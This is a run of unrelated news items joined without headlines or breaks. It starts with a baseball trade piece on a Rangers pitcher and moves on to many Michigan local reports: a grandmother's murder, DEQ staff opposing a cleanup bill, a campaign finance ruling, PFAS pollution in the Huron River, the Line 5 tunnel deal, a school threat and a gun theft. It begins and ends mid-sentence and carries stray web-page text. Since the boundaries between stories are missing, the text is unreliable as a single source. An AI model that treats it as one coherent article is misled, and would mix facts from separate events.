Jeremy Hellickson and Ivan Nova. Sheer supply and demand should lead to interest in Holland, especially if the Rangers are willing to pick up a bit of the tab or to take on another fairly notable contract in return. At 30 years old, Holland is still young enough to believe that there could be a rebound in his bottom-line results, which admittedly werent pretty in 2016. Holland had his healthiest season since 2013 this year hes missed time previously due to shoulder and knee injuries but he pitched his way out of the rotation and ultimately finished the year with a 4.95 ERA in 107 1/3 innings. His average fastball velocity was 93.6 mph during a terrific 2013 season, but injuries and aging caused that mark to dip to 91.7 mph this past season. Accordingly, Hollands K/9 rate has dipped from 8.0 to 5.6, and his ground-ball rate fell south of 40 percent this season as well. None of that paints a very good picture, of course, but Hollands unsightly ERA would be nearly a full run lower were it not for an 11-run drubbing that was handed out by the Blue Jays in Toronto back on May 5. He went on to post a 4.42 ERA from that point forth and at one point went through a stretch of 10 outings where he delivered seven quality starts and posted a 3.65 ERA. While the overall season was one to forget, there were glimpses of the pitcher that once looked to be developing into a Rangers rotation mainstay. Its not uncommon for rebound candidates to get several million dollars in free agency anyway, and Hollands contract comes with the upside of a club option for the 2018 season. If hes able to rebound even to the point where he pitches like a solid fourth starter, Holland would prove to be a nice value with that extra year of club control. The lack of quality hurlers on the market was one of the primary reasons that I recently examined a number of borderline club options for starting pitchers, including Holland, and opined that teams would be wise to exercise the options even if the ultimate outcome was that those arms would be traded. Based on Heymans report, it sounds like the Rangers could potentially move Holland even before that decision is due, and its certainly not out of the question that others such as Jaime Garcia and Clay Buchholz could find themselves in a similar boat. Certainly, teams with club options over borderline players are feeling out the trade market right now in similar fashion to the Rangers, as evidenced by Ken Rosenthals report from earlier today that the likes of Pat Neshek, Fernando Rodney and Carlos Ruiz are all available in trade talks. WARREN, MI -- The body of a 68-year-old grandmother from Warren was found stuffed inside of a large trash bin in the garage of her home Wednesday night after her son called police because he had not heard from her in a few days. Police say the suspect in the deceased womans 23-year-old grandson who was arrested at a motel in Toledo, Ohio Thursday, according to Fox 2 Detroit. After police discovered the body, a search began for a suspect, which led officers to the grandson. The womans car was found in Ohio and the grandson was arrested at a motel near the car. Officers found knives in the bin where the woman was found and collected other evidence of the murder at the house and in the motel room where the man was staying. The victim in the case had stab wounds in her neck, according to police. The grandson is awaiting extradition back to Michigan and the car has been impounded to be searched for evidence. The grandson was living in the home with the woman and police say they are confident that he is the correct suspect in the murder. LANSING, MI Eighty-two staff members at the Michigan Department of Environmental Quality have taken the highly rare step of publicly opposing lame duck legislation they say would only benefit polluters at the expense of citizens, and which has no basis in the protection of health and the environment. State employees sent Gov. Rick Snyder the signed letter on Wednesday requesting that he veto Senate Bill 1244, which DEQ staff members say would lock regulators into using outdated science when deciding how much cleanup a toxic site requires. The Michigan House passed the bill 56-53 on Dec. 19. The bill is sponsored by Sen. Jim Stamas, R-Midland, and supported by business groups that say its needed to spur redevelopment at contaminated sites. It passed the Senate on Dec. 4, but House amendments must be re-approved before it moves to the governor. Snyder hasnt taken a position, but spokesperson Ari Adler said hes seen the letter and appreciates the state employees passion on the issues they work with every day. Adler said SB 1244 has changed in many ways since introduced and some of whats referenced in the letter is no longer applicable, although he was unable to specify which parts of the letter were addressing bill language that has since changed. Nevertheless, Gov. Snyder will be keeping the employees concerns in mind when reviewing the final version of the bill that comes over." The DEQ letter essentially begs Snyder to remember public health and the environmental protection values he espoused amid the Flint water crisis aftermath, quoting from a 2016 letter by the governor urging state employees to speak up about any situation that you feel threatens the health or safety of the people of Michigan. Policy experts call the bill an end-run around a years-long process underway at the DEQ to update the safety thresholds known as criteria values that regulators use to oversee cleanups. Dave Dempsey, a senior policy advisor at FLOW (For Love of Water), a Traverse City-based environmental group, said the last time DEQ staff spoke out like this was 1995, when the states remediation policy was originally weakened to favor containment over cleanup. The letter signifies that proposed changes in the bill are not minor, but, rather are substantive and dangerous, he said. These are not people who are prone to overstatement or exaggeration. Theyre not paid to put out press releases and statements to alarm people. These people would not have signed this letter if these were technical adjustments or minor wording changes, Dempsey said. They are very concerned. According to the letter, proposed changes to the state Natural Resources and Environmental Protection Act were drafted by the manufacturing, utility and chemical industries for the sole purpose of lowering the cost of cleaning their own pollution. The letter argues that proposed changes shift the pollution cleanup burden to future generations. Attached to it is a point-by-point analysis of how specific language in the legislation would inhibit the state from protecting citizens and the environment. The bill would force DEQ to use outdated science to set cleanup standards for some of the most toxic substances commonly existing in the environment, the letter states. It notes that changes would make many standards less protective than rules in place now, which are largely based on toxicology studies published before 1998. This will allow the contamination these companies released to remain in place without any type of warning for anyone, current of future generations who have the potential to be exposed to the unacceptable risks, the letter states. Although appearing to incorporate language allowing greater flexibility to the department, the revisions establish requirements that MDEQ will not be able to meet, the letter states. The language also creates uncertainty in implementation that will only further delay cleanups and the protection of public health and the environment. The letter was signed by numerous members of the DEQ Remediation and Redevelopment Division, which oversees cleanup at contaminated properties. It notes that neither DEQ nor Michigan citizens has had a voice during negotiation of these amendments." It accuses polluters of jettisoning collaboration with DEQ on setting new cleanup criteria, and, instead, trying to use the legislature to obtain more favorable cleanup rules after being unable to convince other stakeholders and the department that their recommendations were based on sound rationale, the best available science and the best interest of Michigans citizens. Many DEQ staff who signed the letter are directly involved in the states effort to find and clean up PFAS contamination. Scott Dean, Michigan DEQ spokesperson, said at this time we dont have a comment on the bill or the letter. Stamas, a Republican from Midland now the dual headquarters for the DowDupont chemical giant did not return a message seeking comment about the letter. Stamas told the House competitiveness committee this week that improvements in the bill assure Michigan will remain a national leader in addressing brownfield properties. Messages sent to Jason Geer, director of energy and environmental policy for the Michigan Chamber of Commerce, and Troy Cumings, an attorney at Warner Norcross & Judd who helped draft much of the bill language, were also not returned. Cumings is a lobbyist for Wolverine World Wide, which is facing substantial cleanup and numerous lawsuits in Kent County, where it polluted drinking water supplies by dumping tannery waste laden with toxic PFAS chemicals into unlined landfills and gravel pits. Independent experts say the bill would weaken or eliminate an existing safety threshold for toxic PFAS chemicals in drinking water and create loopholes in state law to grandfather potentially weakened standards into future cleanups using easy paperwork tactics. Its passage in the House on Tuesday coincided with the release of an independent science panel report commissioned by Gov. Snyder that concluded the existing state groundwater standard for PFAS may already be too high to adequately protect public health. Susan Masten, a Michigan State University water treatment scientist who helped author the PFAS report, criticized the bill on Twitter. One of the recommendations of PFAS report that was released today: 70 ppt level may not provide a sufficient margin of safety. Well, the MI GOP is pushing through a bill that would make it far more difficult, costly & time-consuming to set clean up criteria for polluted sites," she wrote. The bill is staunchly opposed by Democrats, who were joined by seven House Republicans in voting against it on Tuesday: Rep. Chris Afendoulis, R-Grand Rapids Township; Sue Allor, R-Wolverine; Martin Howrylak, R-Troy; Dave Maturen, R-Vicksburg; Jim Runestad, R-White Lake; Rob VerHeulen, R-Walker; and Jeff Yaroch, R-Richmond Twp. LANSING, MI -- The Michigan Senate on Thursday voted 26 to 12, approving a bill that would let the state legislature intervene in court cases. House Bill 6553, introduced by Rep. Rob VerHeulen, R-Walker, would give the legislature a standing right to intervene in court action. Senate changes narrowed the cases in which the legislature could intervene. As introduced, the bill allowed the legislature to intervene in any action to protect the interests of the state. But under committee changes, the legislature could intervene to protect their interests only if a court action challenged the constitutionality of a state statute or the validity of any legislative act. The Senate rejected proposed changes from Sen. Curtis Hertel, D-East Lansing, and Senate Minority Leader Jim Ananich, D-Flint, that would have made the government pay individuals for increased costs because of legislative intervention and required the legislature get a two-thirds vote to intervene. Hertel said the bill could increase costs for individuals who might be parties to cases the legislature intervenes in for political reasons. Were talking about allowing the legislature to intervene in anyones case. I repeat, anyones personal matter. House Bill 6553 will truly bear out terribly with Michigan families, Hertel said. The bill passed 26-12 with Democrats, plus Republican Sen. Tory Rocca, R-Sterling Heights, voting against it. No senator supporting the changes spoke in favor of them on the floor. In the Senate Government Operations Committee, sponsor VerHeulen said, "This is an institutional bill, it is not a partisan bill. It is designed to give the institution of the legislature, the House or the Senate, the ability to intervene when its actions are being challenged, VerHeulen said. In his no-vote explanation, Sen. Steve Bieda, D-Warren, cast doubt on explantions such as that. No matter how many times my colleagues say that this bill is about allowing the legislature to provide clarification on legislation, I just dont believe it, Bieda said. Instead, he said, it is an intentional effort to undermine the role of the Attorney Generals office. Michigan elected a Democratic attorney general in Dana Nessel, whose term starts in 2019. Nessel Communications Director Kelly Rossman-McKinney issued a statement after the vote: The Attorney General-elect strongly believes in a smooth transition of power and authority. However, she has been - and continues to be - deeply concerned and troubled by the hasty legislative efforts to push through a proposal that was never properly vetted and appears to be an intentional and partisan effort on the part of some legislators to undermine the role of the states Attorney General," she said. Those legislators who voted for this bill would be wise to remember that the people elect their Attorneys General and their Governors and this legislation will have dramatic and disastrous impact on the state of Michigan and its residents for years to come. The Attorney General-elect stands in opposition to this legislation. The fear of the unknown, of not knowing where they can go next, is a common feeling for homeless youths who are bouncing around or living doubled-up. Kelly says they often try to make themselves as small as possible, or not eat as much food, or be as hospitable as possible to keep the peace to be able to stay somewhere. A political action committee that ran ads supporting Gretchen Whitmer in the 2018 gubernatorial primary violated campaign finance rules by explicitly promoting Whitmer, according to the Michigan Secretary of State Ruth Johnson. The group, Build a Better Michigan, has until Friday, Dec. 21, to respond to Johnsons ruling. Staffers with the Michigan Bureau of Elections will make the final determination on whether violations occurred, according to Fred Woodhams, spokesman for the Michigan Secretary of State Office. If Johnsons finding is upheld, it could result in fines and penalties for Build a Better Michigan as well as Whitmers campaign committee. Build a Better Michigan -- which was headed by Mark Burton, who now heads Whitmers transition team -- was organized under Section 527 of the Internal Revenue Service. Such groups are allowed to run ads on issue advocacy and to mobilize voters, but they cannot expressly advocate for a specific candidate or coordinate with a candidates campaign. Build a Better Michigan aired two ads featuring Whitmer talking to the camera about her platform with the words: Gretchen Whitmer, candidate for governor. The ads ran before the Aug. 7 primary. In a Nov. 27 letter to Build a Better Michigan, Johnson said it is her determination that the ads violated Michigan election law, which says that communications advocating for a candidate are considered campaign contributions for that candidate. In the context of each ad, taken in its entirety, we find the phrase Gretchen Whitmer Candidate for Governor constitutes express advocacy for election of the candidate, Johnson said in her letter. The letter said her ruling was a partial response to complaints filed with the Secretary of State Office by Colleen Pero, of the Michigan Republican Party, and Anthony Daunt, of the Michigan Freedom Fund, in regards to Build a Better Michigan. This letter is not intended and should not be considered a final resolution of complaints, the letter said, adding that the Johnson is issuing a separate and distinct finding on this specific subject both to facilitate this particular case and to caution other organizations who may consider utilizing a similar strategy. A second letter sent on Dec. 7 by Melissa Malerman, senior election law specialist for the Michigan Bureau of Elections, asked Build a Better Michigan to explain how Whitmers speaking roles in the ads are consistent with the statutory definition of an independent expenditure," noting it appears the ads required the cooperation, consultation and (actting in) concert with Whitmers campaign. Malerman also asked Build a Better Michigan to document how much was spent on the two ads' whether it solicited money from other sources to pay for them. The letter noted that investigation could find the ads should be treated as a in-kind contribution to the Whitmer campaign. In that case, Build a Better Michigan could face fines and penalties for not registering with the state, excessive campaign contributions, and making a prohibited contribution and/or accepting contributions from prohibited sources. Such a finding may also result in Whitmers campaign committee facing fines and/or penalties for filing an incomplete campaign finance statement, the letter said. Malermans letter asked for a response from Build a Better Michigan by Friday, Dec. 21. Mark Fisk issued a statement on behalf of Build a Better Michigan that said: "Build a Better Michigan has a mission of promoting affordable health care, better roads and clean drinking water and we are proud of our recent advertisements which are part of a long tradition of issue advocacy used by both parties for decades in the state of Michigan. We strongly disagree with the Secretary of States interpretation and we are working with their office to bring resolution to this matter. This is nothing more than a political complaint filed by political operatives for political gain at a time we should be working together to solve problems for Michigan residents. ANN ARBOR, MI - A grieving mother, with three years of pain spilling down her cheeks, turned her head toward the courthouse ceiling when it was finally said - an apology. The admission by Diana Callahan, 49, of Flint came as she stifled her own brief wail when given a chance to speak before being sentenced to two years probation, including six months of jail time, Thursday, Dec. 20 at the Washtenaw County Trial Court. She nodded when she heard the sentence. The former Michigan Department of Corrections officer pleaded no contest in October to one count of involuntary manslaughter in the 2015 suicide death of inmate Janika Edmond. Through a so-called Cobbs agreement with the judge, a second charge of willful neglect of duty was dismissed. Callahan's life is forever changed, but the Edmond family's life has been changed even more so, Callahan said at the hearing. "I cannot speak for the department of corrections, I can only speak for myself, and so I ask them to forgive me for my actions and then maybe one day they will forgive me," Callahan said through tears. That forgiveness came quickly for some members of the family, who offered it in their own victim impact statements before Callahan spoke. Tina Edmond, Janika Edmonds mother, frequently paused to collect herself. She said God has forgiven her own mistakes, and I know he can forgive you, and I hope you get the help that you need. Still, she added, "I don't know why you wouldn't help my baby." Callahan was accused of failing to act when Edmond expressed suicidal ideations and asked for a suicide-prevention vest before a suicide attempt Nov. 2, 2015 in the segregation shower unit of the Women's Huron Valley Correctional Facility in Pittsfield Township. Callahan said somebody owes me lunch in apparent response to the statements, according to testimony at a preliminary examination. Edmond was pronounced dead at a hospital days later. Following an investigation by MLive/ The Ann Arbor News, Callahan was fired in March 2016 and charged in December 2016. Her Pontiac-based attorney William Hatchett told Washtenaw County Trial Court Judge Archie Brown of the deep remorse his client feels and staked his career on the fact that Callahan would never reoffend. He also asked for alternatives to incarceration. She was hospitalized for an "emotional breakdown" at the start of the month, he also noted at the hearing. "No one should leave this court thinking this woman is not torn apart from what happened," he said. Still, the sentence was "a slap on the wrist," in the eyes of Tina Price, Edmond's emergency contact who referred to Edmond as her daughter during a victim impact statement read in court. "Nothing we can say or do will bring her back, but a person should be held responsible for the consequences of their actions," she said, according to the statement. Edmond's grandfather, Jaami Muhammad, and the representative of her estate and aunt Sheila Clarke, echoed one opinion of Hatchett's following the hearing - that Callahan should not have been the only person charged. A federal lawsuit in the incident, now approaching a settlement, blames the Michigan Department of Corrections, a number of employees and two former employees in the death, including Callahan. Aside from Callahan, one employee left the department after being fired, then reinstated in connection to the death. A warden and two deputy wardens were initially named in the lawsuit, but were later removed while another employee was added. ANN ARBOR, MI Michigan Department of Environmental Quality officials say theyre continuing to investigate potential sources of PFAS pollution in the Huron River and they have some leads. Their latest investigations have them looking into a site along the river in Washtenaw Countys Scio Township, just west of Ann Arbor. Thats the former Daimler-Chrysler facility where Paladin Attachments is now located off Huron River Drive near Zeeb Road. State officials say theres an active groundwater investigation there. PFAS has been detected in wells near the river at the site, including PFOS, one type of PFAS, at about 60 ppt, said Stephanie Kammer, a district supervisor for the DEQs Water Resources Division. Thats not sky high, she said, but it is five times higher than the states groundwater/surface water interface criteria. PFAS are per- and polyfluoroalkyl substances that have links to cancer, liver damage, birth defects and autoimmune diseases. Our waste management division is going to work with the responsible party there to do some additional monitoring, Kammer said of the old Daimler-Chrysler site, adding that includes looking at the stormwater to make sure PFAS-contaminated groundwater isnt infiltrating storm sewers and getting into the river. The state has spent recent months sampling surface waters throughout the watershed, trying to figure out where the PFAS thats ending up in Ann Arbors drinking water is coming from. So far, the only major source identified has been Tribar Manufacturing in Wixom, and the company, a maker of chrome-plated auto parts, recently took steps to filter out PFOS from its effluent being sent to the Wixom wastewater treatment plant. With new filters put in place by Tribar, Tim Sikma, Wixoms public works director, is hopeful the situation is being addressed. We recently have received results back from Tribar saying that there are no detections in the effluent for Tribar discharges and thats really great news, Sikma said during a public PFAS forum Tuesday night, Dec. 18, at Washtenaw Community College. PFOS in the Wixom wastewater plants discharge to Norton Creek, which feeds into the Huron River, has dropped from 4,800 ppt in August to 240 ppt in November, Sikma said. He expects to see those numbers further decline as some of the remaining sludge at the plant thats contaminated at higher concentrations passes through. Sikma said Wixom recognized there was a PFOS issue in February of last year and started investigating it, finding out in June of this year that Tribar Manufacturing was a potential source. Now state officials are following up and trying to identify other sources, as there still are concerning levels of PFAS, including PFOS, in the Huron River. Ann Arbor has seen the levels ending up in its drinking water spike in the last couple months. Kammer said shes pretty much working full-time on the PFAS issue right now, including looking at concentrations in water samples and fish throughout the Huron River watershed, trying to pin down potential sources that may require further investigation. There are three different DEQ divisions and several program staff that are all involved in this, she said. Its a pretty intensive effort. 20 Forum on PFAS in the Huron River at Washtenaw Community College The state has turned its attention to sites within Washtenaw and Livingston counties that may be potential sources. Similar to the process Wixom went through, Kammer said, three other area wastewater treatment plants Dexter, Lyon Township and Brighton have been inventorying industrial users of their systems, looking for potential PFAS discharges. Dexter sampled its effluent and found about 3 ppt of PFOS, and Lyon Township didnt identify any potential PFOS-contributing users, Kammer said. Brighton is still going through the process, but the state doesnt expect it to be a significant source, Kammer said. Four sites in Livingston and Washtenaw counties where there are direct effluent discharges to surface waters are being investigated, including the former Gelman Sciences property near Ann Arbor where initial tests suggest theres no PFOS, Kammer said. She said results are pending for two groundwater cleanup sites in the Brighton and Gregory areas. Theres still a do not eat advisory for fish in the Huron River due to PFAS, Kammer noted. So far, the fish with the highest concentrations of PFOS have been found in Kent Lake in Oakland County at 1,134 parts per billion, with fish from Argo Pond in Ann Arbor at 404 ppb. A do not eat advisory for fish is triggered when levels reach above 300 ppb. In addition to fish, Kammer said, the state has been testing water from rivers, lakes, streams and county drains. July 24 testing at Norton Creek showed a reading of 5,500 ppt of PFOS. Which is very elevated, Kammer said. Our water quality standard would be 11 or 12 ppt. Kammer said the state noticed a correlation looking at fish in Kent Lake downstream of Norton Creek in the Milford area. Since it was already known there was an elevated discharge of PFOS from Wixoms wastewater plant, Kammer said, the state turned its attention there first this summer. But we didnt want to stop at Wixom, she said. We had these elevated levels. We didnt want to just assume Wixom was our only source. We wanted to make sure we got a full comprehensive look at Norton Creek and some of the surrounding areas around Kent Lake. She said they went back out in August to do followup testing around Norton Creek and other tributaries, and looked at several potential sources of PFAS pollution. Without going into detail, she noted conflicting results from the contaminated Coes Cleaners site in Milford, a state-funded groundwater cleanup site. Kammer said the DEQ also investigated whether contaminated groundwater from a closed landfill in Lyon Township could be getting into Kent Lake, but the results were low or non-detect. She said they investigated the former Ford Wixom assembly plant and found some PFOS there, but not enough to believe it was a significant source of downstream pollution. We did get a little bit higher levels and when I say high it was like 30 ppt from the stormwater, she said of the Ford site. But once it got into the receiving stream, the receiving stream was meeting our water quality standards at 12 ppt or lower. In late October, she said, the state went back and tested more surface-water locations for PFOS, finding 88 ppt in Norton Creek where in July there had been 5,500 ppt. And the thing thats changed in between then is that work that Tribar has done and Wixom has done, so I think were seeing the positive impact there, Kammer said. And Im hoping that well continue to see that trend keep going down. Sorry, but your browser does not support frames. Sorry, but your browser does not support frames. Other late-October PFOS readings just downstream from there ranged between 15 and 22 ppt, but south of Island Lake Recreation Area they were up to 65 ppt and then 88 ppt near Portage Lake. PFOS readings at Barton Pond, where Ann Arbor gets most of its drinking water, were as high as 48 ppt in October, up from single-digit readings earlier in the year, and overall PFAS levels were nearly 120 ppt, with about 88 ppt ending up in the citys drinking water. Theres no good answer for why the levels are going up because theres not a lot of data, Kammer said. Sampling surface waters is variable, Kammer said, and officials dont know at this point if the increased PFOS downstream is coming from the Wixom area or if theres another source. Kammer acknowledged the state hasnt tested Horseshoe Creek in Livingston County yet, so thats another next step. When we went back and shared these results with the DEQ staff that are really familiar with Livingston County, they brought up that there were some potential sites in the Hamburg Township area, she said. There was a couple of fires that they think AFFF foam was used within the last 15 years. Theres also some other sites, some cleanup sites, and a couple landfills. So were going to go back and sample the surface water at Horseshoe Creek and try to get more data. That seems reasonable that we should be looking there to identify if theres another source. The state has investigated Portage Lake and its tributaries and hasnt found any PFOS in stream samples there, Kammer said. Its an iterative process. Were going to follow the data, she said. As we get the data in, were going to put together a plan, kind of methodically work through the watershed to make sure that were not missing anything. Gerald Tiernan, a DEQ official whos the regional lead for Michigans PFAS Action Response Team, said the state will be looking to see if theres contamination of any residential wells along Norton Creek where there have been high PFAS readings. Well locations have been plotted on a map and testing will be conducted in early 2019, Tiernan said. FLINT, MI -- Theres a plea deal on the table for former Flint emergency manager Gerald Ambrose, but its unlikely to be accepted or rejected for at least a few months. Special prosecutor Todd Flood told Genesee Circuit Judge Joseph Farah Tuesday, Dec. 18, that the plea agreement hes offered would require Ambrose to plead guilty to a felony and cooperate in other Flint water criminal cases, including those of Darnell Earley, another former emergency manager, and former Flint Department of Public Works Director Howard Croft. Ambrose is facing charges of false pretenses, conspiracy to commit false pretenses, willful neglect of duty and misconduct in office. Although Flood said hes talked to both Ambrose and his attorney about the offer, the special prosecutor didnt say it had been agreed to. Almost a year ago, Ambrose waived his preliminary examination in Genesee District Court, and his attorney and prosecutors have since confirmed they have worked to reach a plea deal before his case advances further. During a status conference Tuesday, Flood said hes offered to drop all but one charge against Ambrose in exchange for his cooperation but needs to wait until preliminary exams are completed for Earley and Ambrose, who could be bound over for jury trials with help from Ambrose. The defendants in the other case, ... that exam needs to proceed prior to that trial date for Ambrose, Flood said. Preliminary exams for Earley and Croft have just started and arent scheduled to resume until Feb. 25. Flood told Farah he doesnt expect those exams to last as long as exams for two top officials at the Michigan Department of Health and Human Services -- Nick Lyon and Dr. Eden Wells -- both of whom were bound over for trials. This is not as complicated ... as other cases have been, Flood said. I believe they will take as long. The complexities are not as much. MLive-The Flint Journal could not reach William Swor, an attorney for Ambrose, who is schedule to appear again before Farah for a status conference March 5. Neither Ambrose nor the attorneys appeared in court Tuesday, but Farah spoke to the attorneys in a conference call. FLINT, MI Brett Beaver couldnt wait. After his plane landed late Monday morning in Detroit, the U.S. Army Private Second Class made a beeline to the Michigan School for the Deaf where his 7-year-old brother, Max, was unaware of what was about to take place. It was the first thing on my list, said Beaver, 20, of paying a visit to his brother at the Flint school. Hes been stationed at Fort Myers in Virginia for the last year. Beaver, a 2017 Northville High School graduate, said he followed in the footsteps of family members thatd joined the military in the past. During his time away from home, Beaver uses FaceTime to communicate with his little brother. Its kind of hard being away from home, because we really love each other, he said. The first person I would take a bullet for would be him. Beaver learned sign language at an early age because many members of his family on his fathers side are deaf. The move by Beaver was a surprise to school officials as well. I just walked in and they were like, Who are you? he said with a laugh. When he identified himself as Maxs brother, Beaver recalled, They asked, Does he know youre here? and I said no and they got all excited. In a video of the surprise visit, Beaver is seen standing behind the office door with Max motioned into the room by a staff member who tells him, Weve got a surprise for you. He jumps and uses both arms to clutch onto his brother for around 30 seconds after the door closes. Signing back and forth, Beaver told him, I missed you, as Max squeezed his arms around his brother, who was decked out in his military uniform. Whats wrong? Dont cry, said Beaver to Max. Hes like, 'Im not crying and then he just hides (his face) away. By far, the greatest moment of my life, exclaimed Beaver, wholl get to spend the holidays with his family before heading back to Virginia on Jan. 2. GRAND RAPIDS, MI -- Grand Rapids officials are calling on Kent County leaders to pause hurried deliberations on ending the countys land bank and look at the potential consequences to the city. Grand Rapids City Manager Mark Washington, in a Monday, Dec. 17 letter, asked Kent County Administrator Wayman Britt to table a resolution to end the land bank until there were more discussions between the city and county. The majority of the work of the Kent County Land Bank has been in the city of Grand Rapids and has been accomplished in partnership with the city, Washington wrote. Because of this, I am concerned about the speed in which the conversations have occurred that have led to the recommendation to dissolve the Kent County Land Bank. That said, I am writing to you today to ask that the county pause and fully consider the impacts of this decision on the city of Grand Rapids. Washington said city staff learned of the proposal to end the land bank not a week before it was slated for a potential vote. We would have preferred to have started this conversation in a different way and at a different time some months ago, Washington wrote. We only learned of this potential action Friday, Dec. 14, 2018, and worked over the weekend to begin to appreciate the policy and financial implications of this recommended action, its impact on the city and its impact on the residents of Grand Rapids and region. The letter to Britt was sent after Washington, Mayor Rosalynn Bliss and him met earlier that day to discuss the resolution. Requests for comment from Kent County administration were not immediately returned. The resolution to dissolve the Kent County Land Bank goes to vote Thursday morning before the Kent County Board of Commissioners. Britt previously contended the land bank has veered off course from its original mission and that the real estate market in Kent County has mostly bounced back to pre-Great Recession foreclosures rates, negating a need for the land bank. Britts office put that resolution, along with a review of land bank operations, real estate market conditions and adherence to commissioner recommendations, to the county boards Finance and Physical Resources Committee on Tuesday, Dec. 18. The countys review was prompted after the land bank rebranded itself as InnovaLaB in June and expanded operations into brokering modular homes both in and outside of Kent County at affordable costs. Some county leaders questioned if the modular initiative was aligned with the land banks original mission and whether it competed with private industry and non-profits. There were further concerns that it could be utilizing captured county tax dollars for out-of-county work. Washingtons call for more time to deliberate ending the land bank echoed the opposition of the minority of commissioners who voted Tuesday in committee against moving the resolution to the full board for a vote. Britt said Tuesday that Board Chair Jim Saalfeld wanted a vote on the resolution before Jan. 1, as the current board has the information and history related to the issue." Two Republicans will be replaced by Democrats on the board come Jan. 1. Republicans will continue to hold a majority on the board come January with 11 seats to the Democrats eight. If the resolution is passed, the land bank would have until Dec. 31, 2019 to settle obligations, cease operations and then transfer all assets and revenue streams back to the county. The resolution initially called for the land bank to be dissolved within six months. After conversations with Washington, Britts office expanded that time frame to a full year. Washington wrote Britt that hed need that time to wind down operations with the land bank. The lank bank owns 187 properties in the city and have several active agreements with the city, one of which to provide 24 units of affordable housing. Britt previously said the intent of ending the land bank isnt to undermine the work that the city of Grand Rapids has attempted to do to deal with this issue around housing stock and affordability. The County Board of Commissioners simply established the land bank, with the help of the treasurer, to deal with blighted properties in the community," he said. It did not intend for it to move to a different model ... Theyre dealing with affordable housing, as opposed to blighted properties, which is what the intent was. A number of affordable housing non-profits have voiced their support for continuing the land bank. The land bank helps affordable housing non-profits through quickly and cheaply clearing property titles, as well as supporting them in getting financial assistance from the state, according to Kent County Treasurer Ken Parrish, who also chairs the land bank board of directors. ST. IGNACE, MI -- Gov. Rick Snyder has finalized a deal to run oil and gas through a tunnel-encased pipeline under the Straits of Mackinac for up to 99 years. The bid to replace the controversial, 65-year-old Line 5 pipeline on the Straits floor was achieved less than two weeks before Snyder leaves office. Snyder wanted the deal done and secured before successor and Line 5 critic, Gov.-elect Gretchen Whitmer, takes over Jan. 1. From the beginning of this four-year process, our fundamental goal has been to protect the Great Lakes against an oil spill through a solution we know will work, Snyder said in a statement. Todays actions will result in the removal of the oil pipeline from the bottom of the Straits of Mackinac, maintain critical infrastructure connections between our peninsulas, provide energy security for residents of the Upper Peninsula and northern Michigan and create good-paying jobs. Snyder, several state department heads and representatives of Enbridge Energy signed the tunnel agreement following the first meeting of the newly formed Mackinac Straits Corridor Authority (MSCA). At the MSCAs inaugural meeting Wednesday, Dec. 19 in St. Ignace, the board agreed to own and oversee an Enbridge-constructed tunnel under the Straits. The agreement requires the MSCA to lease space within the tunnel to house a replacement of Enbridges controversial Line 5 oil and gas pipeline currently seated on the Straits' floor. The replacement of Line 5 inside a tunnel will protect one of the most important and vital natural resources in the world, Enbridge said in a statement. Buried 100 feet below the lakebed, the chances of a product release into the Straits are reduced to near zero. The lease would be good for up to 99 years, placing a maximum pipeline operation date somewhere near 2128. It begins after the tunnel is completed. Among other details, the agreement affords the leasing of other utilities in the tunnel and requires the attorney generals office to pay attorney fees for the authority if the office declines to represent them in lawsuits. I see this as an opportunity to put an agreement in place to actually protect the greatest natural resource that we have here in Michigan, but also give the Upper Peninsula an opportunity at growth in the future with other utilities as well, said MSCA chairman Michael Nystrom. The authority, established just a week prior, was obligated by law to accept the agreement from the Snyder administration. Numerous people attended the authority board's inaugural meeting Wednesday in St. Ignace to voice their support or opposition to the agreement. Many proponents of the agreement said they work for Enbridge. Under the agreements signed Wednesday, Enbridge would pay for the design, construction, operations, maintenance and eventual decommissioning of the tunnel. Cost estimates for the project are roughly $350 to $500 million. Once the tunnel is completed, ownership will be handed over to the authority. The authority will have an oversight role during construction. State officials estimate it will take seven to 10 years to construct the tunnel. The 65-year-old Line 5 pipeline on the Straits floor would continue to operate until completion. Beth Wallace with the National Wildlife Federation Great Lakes Regional Center said the agreements keep the Great Lakes at risk of an oil spill. This backroom deal sets no end date for the twin pipelines currently sitting in the open waters of the Great Lakes. The Snyder administration is trying to disguise the status quo as progress, Wallace said in a statement. Wallace further criticized the short time period allowed for public comment on the agreements and charged that the Snyder administration has not heeded public input. This five-day comment period further illustrates the Snyder administrations disregard for public input," she said. "They have ignored hundreds of thousands of public comments calling for a shutdown of Line 5 and millions of mid-term votes for an incoming administration which pledged to protect our Great Lakes, not a foreign oil companys profit margin. Draft documents of the agreements were put online late Thursday for public comment until the following Tuesday. The three-member MSCA board has suffered two turnovers since it was established Dec. 12. Snyder originally appointed labor leader Geno Alessandrini, a Democrat, geophysicist Tony England, a Democrat, and Michael Zimmer, a Republican and former director of the Michigan Department of Licensing and Regulatory Affairs, to serve six-year terms on the board. Alessandrinis resignation was announced a day after his appointment. He said in a statement he resigned due to family and business constraints." He was replaced by James "J.R." Richardson, a Republican, power company executive and vice chair of Michigan's Natural Resources Commission. Earlier this week, Zimmer resigned due to possible legal conflicts with his resignation from the Mackinac Bridge Authority to serve on the MSCA, the Detroit News reported. He was replaced by Nystrom, a Republican and the executive vice president of the Michigan Infrastructure and Transportation Association. No more than two members of a political party can serve on the MSCA board at a time. UPDATE: School officials at 10:45 pm. said the person believed responsible for the threat was in custody and that we are 100 percent sure we have this situation under control. There is no threat to the school. A plan to have additional security at the school Thursday will continue as a precaution, school leaders said. GRAND RAPIDS, MI -- Police say they are investigating a social media threat against CA Frost Environmental Science Academy that threatens a shooting. The post showed up on social media in the later hours of Wednesday, Dec. 19 and advised people to not go to school (Thursday) because of plans to shoot everyone. Grand Rapids police said they were actively investigating the threat. Grand Rapids Public Schools administrators said they also were investigating the threat and they have put security practices in place for (Thursday). School leaders notified the public about the threat in a post on the schools Facebook page. They planned to work on the investigation throughout the night if needed and said they were confident about identifying the threat-maker. GRAND RAPIDS, MI A day after 22 guns were stolen from Graafschap Hardware, police stopped a driver - for driving without headlights - who helped crack the case. The investigation into the theft and recovery of firearms was detailed in search-warrant affidavits filed in U.S. District Court in Grand Rapids. The affidavits did not say if police had already identified a Zeeland-area couple as suspects when they stopped a mans car leaving their home. But the driver, wanted on outstanding warrants, soon turned on them, records showed. Graafschap Hardware, a family-run, Allegan County business since its 1860 founding, was burglarized late Dec. 7 or early Dec. 8, records said. The next day, Andrew Leenheer, 23, went to Logan Estates, near Zeeland, looking for Matteo Adam Marroquin, 22, who wasnt home. From left to right, Matteo Marroquin, Lacy Zimmerman and Andrew Leenheer. As he drove away, Leenheer was stopped by state police on Riley Street, 